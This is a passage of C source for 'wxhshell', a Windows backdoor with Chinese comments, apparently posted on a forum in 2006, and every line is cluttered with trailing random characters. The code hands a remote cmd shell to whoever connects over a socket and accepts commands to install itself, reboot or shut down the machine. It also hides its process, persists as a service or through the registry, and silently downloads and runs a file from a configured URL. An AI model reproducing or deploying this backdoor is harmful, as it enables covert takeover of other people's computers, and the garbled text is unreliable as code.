  case '?': { D!FaEN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r2eQ{u{nX  
    break; iyM^[/-R6  
  } F|eu<^"$ H  
  // 安装 "n?<2 wso  
  case 'i': { 8OAg~mQ15(  
    if(Install()) 5{l1A (b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : }?{@#Z  
    else v[#)GB _5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1kFjas `g  
    break; uEd,rEB>  
    } 'V!kL, 9ES  
  // 卸载 it}-^3A M  
  case 'r': { &4kM8Qh  
    if(Uninstall()) X%4h(7;v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kL7^$  
    else 'DAltr<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EF;,Gjh5p  
    break; km>o7V&4G  
    } ^ }#f()  
  // 显示 wxhshell 所在路径 M\UWWb&%\  
  case 'p': { TETsg5#  
    char svExeFile[MAX_PATH]; ,P@QxnQ   
    strcpy(svExeFile,"\n\r"); a$+#V=bA  
      strcat(svExeFile,ExeFile); T-P@u-DU  
        send(wsh,svExeFile,strlen(svExeFile),0); |~NeB"l{  
    break; (!n-Age  
    } `Cj,HI_/*  
  // 重启 eTZ`q_LfI1  
  case 'b': { raQYn?[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E^syrEz  
    if(Boot(REBOOT)) %FS;>;i?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M[,^KJ!  
    else { SJ(9rhB5*.  
    closesocket(wsh); %HEmi;  
    ExitThread(0); ,k%8yK  
    } # U`&jBU  
    break; r5)f82pQ  
    } 2{};6{yz  
  // 关机 Mcb<[~m  
  case 'd': { <4NQL*|>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AI fk"2  
    if(Boot(SHUTDOWN)) '%O\E{h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EG1x  
    else { Ph\F'xROe  
    closesocket(wsh); Na;t#,  
    ExitThread(0); o}R|tOe  
    } ST4(|K  
    break; D4\(:kF\Hg  
    } 9jjL9f_3  
  // 获取shell zf")|9j  
  case 's': { nP)-Y#`~7  
    CmdShell(wsh); QQ|9>QP  
    closesocket(wsh); qid1b b  
    ExitThread(0); Y;PDZb K3  
    break; 5oa]dco  
  } Sl~C0eO  
  // 退出 k`Y,KuBpM  
  case 'x': { k7[)g]u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); / GZV_H%v  
    CloseIt(wsh); :O#gJob-%s  
    break; | &\^n2`>  
    } -CZ-l;5  
  // 离开 C9+Dw#-f V  
  case 'q': { Xa\]ua_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?/L1tX)  
    closesocket(wsh); T/3;NXe6E  
    WSACleanup(); 'Sk6U]E~  
    exit(1); #|D:f~"d3  
    break; :if5z2PE/  
        } !j'guT&9]  
  }  m"1 ?  
  } p!V) 55J*  
@@xF#3   
  // 提示信息 `}n0=E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /3;=xZq  
} 'jwTGT5x  
  } XAGiu;<,=  
$o: :PDQ?  
  return; akY6D]M  
} n/:Z{  
}8X:?S %  
// shell模块句柄 fjG/dhr  
int CmdShell(SOCKET sock) UvoG<;  
{ 0$(jBnE  
STARTUPINFO si; 4>d[qr*<  
ZeroMemory(&si,sizeof(si)); sd7Y6?_C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |HT)/UZ|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |c BHBd  
PROCESS_INFORMATION ProcessInfo; Zj5NWzj X  
char cmdline[]="cmd"; EzwF`3RjK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aw;{<?*  
  return 0; ZW`HDrP`  
} LIc*tsl  
e1Dj0s?i~K  
// 自身启动模式 ]oo|o1H87  
int StartFromService(void) H==X0  
{ ook' u }h  
typedef struct 8Na}Wp;|Gi  
{ mRNHq3  
  DWORD ExitStatus; "otr+.{`*  
  DWORD PebBaseAddress; FkLQBpp(x  
  DWORD AffinityMask; O{O 9}]6  
  DWORD BasePriority; 7Co3P@@  
  ULONG UniqueProcessId; 6YB-}>?  
  ULONG InheritedFromUniqueProcessId; ~6=Wq64  
}   PROCESS_BASIC_INFORMATION; P[r}(@0rJ  
!$4Q]@ }  
PROCNTQSIP NtQueryInformationProcess; 9,}fx+^  
G;Pt|F?c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PP~CZ2Fze  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yRSy(/L^+  
oKZ[0(4<  
  HANDLE             hProcess; WIhIEU7/  
  PROCESS_BASIC_INFORMATION pbi; _q2`m  
$=X!nQ& Z|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @faF`8LwA  
  if(NULL == hInst ) return 0; =/)Mc@Hb  
*(>F'>F1"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8yNRx iW:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B>c[Zg1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ](idf(j  
99=[>Ck)G  
  if (!NtQueryInformationProcess) return 0; \Or]5ogT'  
6uv'r;U]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X:iG[iU*  
  if(!hProcess) return 0; %l0_PhAB  
Z%(Df3~gmm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j TGS6{E  
g#pIMA#/  
  CloseHandle(hProcess); jKe$&.q@  
>:(6{}b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =Td#2V;0  
if(hProcess==NULL) return 0; #h}IUR  
OpbszSl"y  
HMODULE hMod; Jc9@VxWY  
char procName[255]; Vw6>:l<+<  
unsigned long cbNeeded; j=zU7wz)D  
/ i\uwa,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0$Qn#K  
xV }:M  
  CloseHandle(hProcess); Wl@0TUK  
S S7D1  
if(strstr(procName,"services")) return 1; // 以服务启动 x|P<F2L  
|sDG>Zq?  
  return 0; // 注册表启动 KR+aY.  
} 4C2>0O<^s  
@Wlwt+;fT  
// 主模块 i:NJ>b  
int StartWxhshell(LPSTR lpCmdLine) 1`7]C+Pv  
{ +"*l2E]5  
  SOCKET wsl; IDL^0:eg<.  
BOOL val=TRUE; Il tg0`  
  int port=0; @9 qzn&A  
  struct sockaddr_in door; Q7OnhGA  
S:"z<O  
  if(wscfg.ws_autoins) Install(); Vb"T],N1m  
N P0Hgd  
port=atoi(lpCmdLine); ~50y-  
Q*oA{eZY  
if(port<=0) port=wscfg.ws_port; 3<Pyr-z h  
iLI.e rm  
  WSADATA data; +)''l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +A.a~Stt  
V8|q"UX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &,6y(-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %^)JaEUC  
  door.sin_family = AF_INET; <l s/3!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d*:qFq_  
  door.sin_port = htons(port); e`2R{H  
&EJ,k'7$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )"3oe ?  
closesocket(wsl); } fMFQA)  
return 1; wQS w&G  
} ;Kb[UZ1  
L , Fso./y  
  if(listen(wsl,2) == INVALID_SOCKET) { ^^Q32XC,  
closesocket(wsl); ~zC fan/  
return 1; kQ'xs%Fw  
} AS"|r  
  Wxhshell(wsl); J0mCWtx&  
  WSACleanup(); m]}"FMH$  
/2V',0  
return 0; k)' z<EL6c  
;9 n8on\  
} e[&3K<  
MCpK^7]k  
// 以NT服务方式启动 lc(iy:z@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +~.Jw#HqS  
{ dY` J,s  
DWORD   status = 0; |Qm%G\oB?  
  DWORD   specificError = 0xfffffff; 7TY"{? ~O5  
G'C^C[_W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %9)J-B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; neH"ks5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P>Rqy  
  serviceStatus.dwWin32ExitCode     = 0; Xn'>k[}<k  
  serviceStatus.dwServiceSpecificExitCode = 0; V)jhyCL  
  serviceStatus.dwCheckPoint       = 0; YVp0}m  
  serviceStatus.dwWaitHint       = 0; :2gO) 'cD  
vrx3O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CnA)>4E*'  
  if (hServiceStatusHandle==0) return; emIbGkH  
Pg C]@Q%  
status = GetLastError(); G"sc;nT  
  if (status!=NO_ERROR) m 4LM10  
{ _JO @O^Ndd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X1D:{S[  
    serviceStatus.dwCheckPoint       = 0; X_8NW,  
    serviceStatus.dwWaitHint       = 0; 6x8|v7cMH  
    serviceStatus.dwWin32ExitCode     = status; SP1oBR"3  
    serviceStatus.dwServiceSpecificExitCode = specificError; N |L5Ru  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,IATJs$E  
    return; hd%F7D5  
  } T5+b{qA  
Ap9w H[H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,OAWGFKOp  
  serviceStatus.dwCheckPoint       = 0; d>psqmQ  
  serviceStatus.dwWaitHint       = 0; l(4./M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,Gx=e!-N5  
} YZ P  
~Nh7C b _  
// 处理NT服务事件,比如:启动、停止 o-Arfc3Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;H|M)z#[Z  
{ 5LH ]B  
switch(fdwControl) >9|+F [Fc  
{ )Q?[_<1Y+  
case SERVICE_CONTROL_STOP: lI<8)42yq  
  serviceStatus.dwWin32ExitCode = 0; kO"aE~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -e\56%\~_  
  serviceStatus.dwCheckPoint   = 0; Vk T3_f  
  serviceStatus.dwWaitHint     = 0; ZA@"uqa6b  
  { '2oBi6|X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vLS6Gb't  
  } dBn.DU*B  
  return; `d#_66TLr  
case SERVICE_CONTROL_PAUSE: :\RB ^3;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j`l K}  
  break; _zwuK1e  
case SERVICE_CONTROL_CONTINUE: M/;g|J jM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^Tmmx_Xw  
  break; 6 nhB1Aei  
case SERVICE_CONTROL_INTERROGATE: s yvi/6  
  break; 1!#ZEI C  
}; Pw.+DA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /RJSkF+!  
} \ziF(xTvqG  
 JwcP[w2  
// 标准应用程序主函数 CB)#; |aDB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4ebGAg?_  
{ Y [S^&pF  
<0}'#9>O  
// 获取操作系统版本 z0Hh8*  
OsIsNt=GetOsVer(); 0l*/_;wo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MLX.MUS  
K.Z{4x=0  
  // 从命令行安装 U"Oq85vY  
  if(strpbrk(lpCmdLine,"iI")) Install(); :wm^04<i   
EZV$1pa  
  // 下载执行文件 1XRVbQt  
if(wscfg.ws_downexe) { XzsK^E0R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2[eY q1f!  
  WinExec(wscfg.ws_filenam,SW_HIDE); :{2$X|f 3  
} x]T;W&s  
u{ /gjv  
if(!OsIsNt) { SYx)!n6U  
// 如果时win9x,隐藏进程并且设置为注册表启动 1<5yG7SZ  
HideProc(); i|Wn*~yFOO  
StartWxhshell(lpCmdLine); ln7.>.F  
} Fjb[Ev  
else d-aF-  
  if(StartFromService()) hRu%> =7  
  // 以服务方式启动 L_|Y_=r."  
  StartServiceCtrlDispatcher(DispatchTable); +/tD$  
else GS%Dn^l  
  // 普通方式启动 I'wAgf6W  
  StartWxhshell(lpCmdLine); eF@E|kK  
fCR;Fk2B  
return 0; i`;I"oY4  
}
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只看该作者 1 发表于: 2006-10-10
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